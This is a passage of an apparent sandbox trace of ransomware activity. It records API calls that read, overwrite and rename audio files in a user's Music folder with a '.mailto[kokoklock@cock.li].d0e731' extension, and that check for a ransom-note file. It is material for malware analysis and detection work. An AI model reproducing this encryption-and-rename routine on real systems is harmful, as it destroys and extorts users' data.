returned 0xcf1d75ed [0083.846] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x8aa6aebc [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x7ee175e0 [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0xc548716b [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x3a70250e [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0xf7bb9a99 [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x7f92cd71 [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x68d910e9 [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x7b303883 [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x81a792a9 [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0xf0840bbd [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x2682d325 [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x53b3c123 [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0xff78dc9f [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x9a2fd32a [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x6fee0c13 [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0xea9557fc [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x5b0c5b56 [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0xf6cf2572 [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x2b2a79a6 [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x349a4824 [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x6b1f875e [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x71fbd557 [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x993e8540 [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0xc2a7453b [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0xde034967 [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x3b594b8f [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0xa05985f2 [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x385cfbcb [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x939fc6a6 [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0x7f5fe950 [0083.847] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) returned 0xae20493d [0084.241] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0084.241] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0084.241] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0084.241] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0084.241] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0084.241] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0084.241] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.241] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.241] ReadFile (in: hFile=0x62c, lpBuffer=0x348d230, nNumberOfBytesToRead=0x1025, lpNumberOfBytesRead=0x2a63f7d4, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2a63f7d4*=0x1025, lpOverlapped=0x0) returned 1 [0084.242] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a63f79c | out: lpNewFilePointer=0x0) returned 1 [0084.242] WriteFile (in: hFile=0x62c, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x1025, lpNumberOfBytesWritten=0x2a63f7d0, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2a63f7d0*=0x1025, lpOverlapped=0x0) returned 1 [0084.242] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d6b8 [0084.242] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0084.242] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0084.242] WriteFile (in: hFile=0x62c, lpBuffer=0x342d6b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a63f7cc, lpOverlapped=0x0 | out: lpBuffer=0x342d6b8*, lpNumberOfBytesWritten=0x2a63f7cc*=0x20, lpOverlapped=0x0) returned 1 [0084.242] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d6b8) returned 1 [0084.242] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.242] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.242] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0084.242] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0084.242] WriteFile (in: hFile=0x62c, lpBuffer=0x342d988*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2a63f7f8, lpOverlapped=0x0 | out: lpBuffer=0x342d988*, lpNumberOfBytesWritten=0x2a63f7f8*=0x8, lpOverlapped=0x0) returned 1 [0084.242] WriteFile (in: hFile=0x62c, lpBuffer=0x2a63f810*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a63f7f8, lpOverlapped=0x0 | out: lpBuffer=0x2a63f810*, lpNumberOfBytesWritten=0x2a63f7f8*=0x4, lpOverlapped=0x0) returned 1 [0084.242] WriteFile (in: hFile=0x62c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a63f7f8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2a63f7f8*=0x4, lpOverlapped=0x0) returned 1 [0084.243] WriteFile (in: hFile=0x62c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2a63f7f8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2a63f7f8*=0x6c, lpOverlapped=0x0) returned 1 [0084.243] WriteFile (in: hFile=0x62c, lpBuffer=0x342d578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a63f7f8, lpOverlapped=0x0 | out: lpBuffer=0x342d578*, lpNumberOfBytesWritten=0x2a63f7f8*=0x20, lpOverlapped=0x0) returned 1 [0084.243] WriteFile (in: hFile=0x62c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a63f7f8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2a63f7f8*=0x4, lpOverlapped=0x0) returned 1 [0084.243] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0084.243] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.243] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0084.243] CloseHandle (hObject=0x62c) returned 1 [0084.243] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x3482a00 [0084.243] wcscpy (in: _Dest=0x3482a00, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3" [0084.243] wcscat (in: _Dest=0x3482a00, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731" [0084.243] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\h50q1-z.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\h50q1-z.mp3.mailto[kokoklock@cock.li].d0e731")) returned 1 [0088.519] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0088.520] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482a00) returned 1 [0088.520] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3", dwFileAttributes=0x20) returned 0 [0088.520] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x3430b00 [0088.520] wcscpy (in: _Dest=0x3430b00, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0088.520] wcscat (in: _Dest=0x3430b00, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" [0088.520] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\d0e731-readme.txt")) returned 0x20 [0088.520] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430b00) returned 1 [0088.520] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428080) returned 1 [0088.520] RtlExitUserThread (Status=0x1) Thread: id = 1204 os_tid = 0x1004 [0084.244] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\pupdceawlngmad_.mp3")) returned 0x20 [0084.244] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3", dwFileAttributes=0x20) returned 1 [0084.244] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\pupdceawlngmad_.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x670 [0084.244] GetFileSizeEx (in: hFile=0x670, lpFileSize=0x2a6bf978 | out: lpFileSize=0x2a6bf978*=54248) returned 1 [0084.244] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0xd3e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.244] ReadFile (in: hFile=0x670, lpBuffer=0x2a6bf94c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a6bf948, lpOverlapped=0x0 | out: lpBuffer=0x2a6bf94c*, lpNumberOfBytesRead=0x2a6bf948*=0x4, lpOverlapped=0x0) returned 1 [0084.245] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.245] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d8e8 [0084.245] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d988 [0084.245] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d9d8 [0084.245] NtQuerySystemTime (in: CurrentTime=0x2a6bf924 | out: CurrentTime=0x2a6bf924*=132121176421329034) returned 0x0 [0084.245] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0x20e229df [0084.245] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0x1b860738 [0084.245] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0x8947592b [0084.245] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0xba5fa3fa [0084.245] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0x71f05a96 [0084.245] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0x907ca88d [0084.245] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0xa8a88687 [0084.245] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0x359e859d [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0x9ecdb0f1 [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0xd975a82f [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0xc942c26d [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0x99d6eb35 [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0x7165fd29 [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0xc8d4e6cb [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0x40431bcf [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0xbae72107 [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0x341cc2d2 [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0x92f6ea87 [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0x262c86db [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0x230a3493 [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0x12237c37 [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0x3e96d559 [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0xd74dedd3 [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0xed8e1bf6 [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0xb840cb1e [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0xb13459fe [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0x3bbb8934 [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0xe53d893b [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0x35c6a40a [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0xb3c65efd [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0xe4fc2e74 [0084.246] RtlRandom (in: Seed=0x2a6bf930 | out: Seed=0x2a6bf930) returned 0x6a8a0a81 [0084.282] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0084.282] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.282] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.282] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.282] ReadFile (in: hFile=0x670, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2a6bf8fc, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2a6bf8fc*=0x4096, lpOverlapped=0x0) returned 1 [0084.283] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0084.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0084.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dac8 [0084.283] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dac8) returned 1 [0084.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dbe0 [0084.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d8e8 [0084.283] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.283] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0084.283] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0084.284] WriteFile (in: hFile=0x670, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2a6bf8fc, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2a6bf8fc*=0x4096, lpOverlapped=0x0) returned 1 [0084.284] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.284] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0xd3e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.284] WriteFile (in: hFile=0x670, lpBuffer=0x342dbe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a6bf934, lpOverlapped=0x0 | out: lpBuffer=0x342dbe0*, lpNumberOfBytesWritten=0x2a6bf934*=0x20, lpOverlapped=0x0) returned 1 [0084.284] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dbe0) returned 1 [0084.284] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.284] WriteFile (in: hFile=0x670, lpBuffer=0x342daa0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2a6bf948, lpOverlapped=0x0 | out: lpBuffer=0x342daa0*, lpNumberOfBytesWritten=0x2a6bf948*=0x8, lpOverlapped=0x0) returned 1 [0084.284] WriteFile (in: hFile=0x670, lpBuffer=0x2a6bf960*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a6bf948, lpOverlapped=0x0 | out: lpBuffer=0x2a6bf960*, lpNumberOfBytesWritten=0x2a6bf948*=0x4, lpOverlapped=0x0) returned 1 [0084.284] WriteFile (in: hFile=0x670, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a6bf948, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2a6bf948*=0x4, lpOverlapped=0x0) returned 1 [0084.284] WriteFile (in: hFile=0x670, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2a6bf948, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2a6bf948*=0x6c, lpOverlapped=0x0) returned 1 [0084.284] WriteFile (in: hFile=0x670, lpBuffer=0x342d988*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a6bf948, lpOverlapped=0x0 | out: lpBuffer=0x342d988*, lpNumberOfBytesWritten=0x2a6bf948*=0x20, lpOverlapped=0x0) returned 1 [0084.284] WriteFile (in: hFile=0x670, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a6bf948, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2a6bf948*=0x4, lpOverlapped=0x0) returned 1 [0084.285] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0084.285] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342da00) returned 1 [0084.285] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342daa0) returned 1 [0084.285] CloseHandle (hObject=0x670) returned 1 [0084.285] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xfc) returned 0x3435488 [0084.285] wcscpy (in: _Dest=0x3435488, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3" [0084.285] wcscat (in: _Dest=0x3435488, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731" [0084.285] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\pupdceawlngmad_.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\pupdceawlngmad_.mp3.mailto[kokoklock@cock.li].d0e731")) returned 1 [0088.513] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0088.513] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3435488) returned 1 [0088.513] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3", dwFileAttributes=0x20) returned 0 [0088.514] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x3430800 [0088.514] wcscpy (in: _Dest=0x3430800, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0088.514] wcscat (in: _Dest=0x3430800, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" [0088.514] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\d0e731-readme.txt")) returned 0x20 [0088.514] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430800) returned 1 [0088.514] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3487670) returned 1 [0088.514] RtlExitUserThread (Status=0x1) Thread: id = 1205 os_tid = 0x1008 [0084.286] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a" (normalized: 